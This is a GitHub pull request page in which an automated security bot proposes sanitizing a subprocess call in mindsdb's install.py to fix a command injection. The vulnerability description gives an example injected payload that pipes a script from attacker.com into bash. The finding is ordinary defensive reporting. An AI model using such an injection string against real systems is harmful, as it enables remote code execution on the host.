Skip to content

fix: sanitize subprocess call in install.py#12430

Open
orbisai0security wants to merge 794 commits into
mindsdb:developfrom
orbisai0security:fix-v-001-subprocess-command-injection-install
Open

fix: sanitize subprocess call in install.py#12430
orbisai0security wants to merge 794 commits into
mindsdb:developfrom
orbisai0security:fix-v-001-subprocess-command-injection-install

Conversation

@orbisai0security
Copy link
Copy Markdown

Summary

Fix critical severity security issue in mindsdb/integrations/utilities/install.py.

Vulnerability

Field Value
ID V-001
Severity CRITICAL
Scanner multi_agent_ai
Rule V-001
File mindsdb/integrations/utilities/install.py:41
CWE CWE-78

Description: The subprocess.Popen call at install.py:41 is used for installing integration packages. If the package name or installation arguments are derived from user-supplied input (e.g., via API requests specifying which handler to install), an attacker can inject shell metacharacters (e.g., '; curl attacker.com/shell.sh | bash') to execute arbitrary OS commands with the privileges of the MindsDB process. The security assessment identifies this as a command execution operation reachable via user input.

Changes

  • mindsdb/integrations/utilities/install.py

Verification

  • Build passes
  • Scanner re-scan confirms fix
  • LLM code review passed

Automated security fix by OrbisAI Security

tino097 and others added 30 commits February 27, 2026 20:33
Co-authored-by: Minura Punchihewa <minurapunchihewa17@gmail.com>
Co-authored-by: Max Stepanov <stpmax@yandex.ru>
dependabot Bot and others added 28 commits April 15, 2026 20:34
Bumps [python-multipart](https://github.com/Kludex/python-multipart) from 0.0.20 to 0.0.26.
- [Release notes](https://github.com/Kludex/python-multipart/releases)
- [Changelog](https://github.com/Kludex/python-multipart/blob/master/CHANGELOG.md)
- [Commits](Kludex/python-multipart@0.0.20...0.0.26)

---
updated-dependencies:
- dependency-name: python-multipart
  dependency-version: 0.0.26
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: Jorge Torres <jorge.torres.maldonado@gmail.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Max Stepanov <stpmax@yandex.ru>
Co-authored-by: Lucas Koontz <lucas.emanuel.koontz@gmail.com>
Co-authored-by: Minura Punchihewa <49385643+MinuraPunchihewa@users.noreply.github.com>
Co-authored-by: Jorge Torres <jorge.torres.maldonado@gmail.com>
Co-authored-by: Konstantin Sivakov <konstantin.sivakov@gmail.com>
Co-authored-by: Zoran Pandovski <zoran.pandovski@gmail.com>
Automated security fix generated by Orbis Security AI
@orbisai0security orbisai0security requested a review from a team as a code owner May 6, 2026 13:14
@entelligence-ai-pr-reviews
Copy link
Copy Markdown
Contributor

Automatic Review Skipped

Too many files for automatic review.

If you would still like a review, you can trigger one manually by commenting:

@entelligence review

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.